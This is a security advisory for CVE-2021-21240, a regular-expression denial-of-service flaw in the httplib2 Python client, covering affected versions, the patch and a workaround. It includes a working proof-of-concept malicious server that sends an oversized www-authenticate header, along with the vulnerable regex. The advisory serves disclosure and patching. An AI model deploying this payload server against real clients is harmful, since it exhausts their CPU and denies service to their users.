

Regular Expression Denial of Service (REDoS) in httplib2

Moderate temoto published GHSA-93xj-8mrv-444m on Feb 8, 2021

Package

httplib2 (pypi)

Affected versions

<= 0.18.1

Patched versions

0.19.0

Description

Impact

A malicious server which responds with long series of `\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using `pyarsing` library.

[#182](#)

Workarounds

```
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
```

Technical Details

The vulnerable regular expression is

[httplib2/python3/httplib2/_init_.py](#)
Lines 336 to 338 in 595e248

```
336 WWW_AUTH_RELAXED = re.compile(
337     r"^(?:\s*(?:,\s*)?([^\t\r\n=+]\s*=\s*\"?(?<=\\)\"(?:[^\\""]|\\.)\"?(?=\s|\"|'|\t\r\n,]+(?:!\"'))\"?)(.*)$"
338 )
```

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

```
\s*([^\t\r\n=+]\s*=\s*
```

Since all three infinitely repeating groups accept the non-breaking space character `\xa0`, a long string of `\xa0` causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of `\xa0` makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

```
www-authenticate: x \xa0\xa0\xa0\xa0\xa0x
```

but with many more `\xa0` characters.

An example malicious python server is below:

```
from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401) # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512 # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value) # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()
```

Connect to the server with httplib2:

```
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
```

To benchmark performance with shorter strings, you can set the path to a number e.g. <http://localhost:1337/1000>

References

Thanks to [Ben Caller \(Doyensec\)](#) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

- Open an issue in [httplib2](#)
- Email [current maintainer at 2021-01](#)

Severity

Moderate

CVE ID

CVE-2021-21240

Weaknesses

No CWEs

Credits



b-c-ds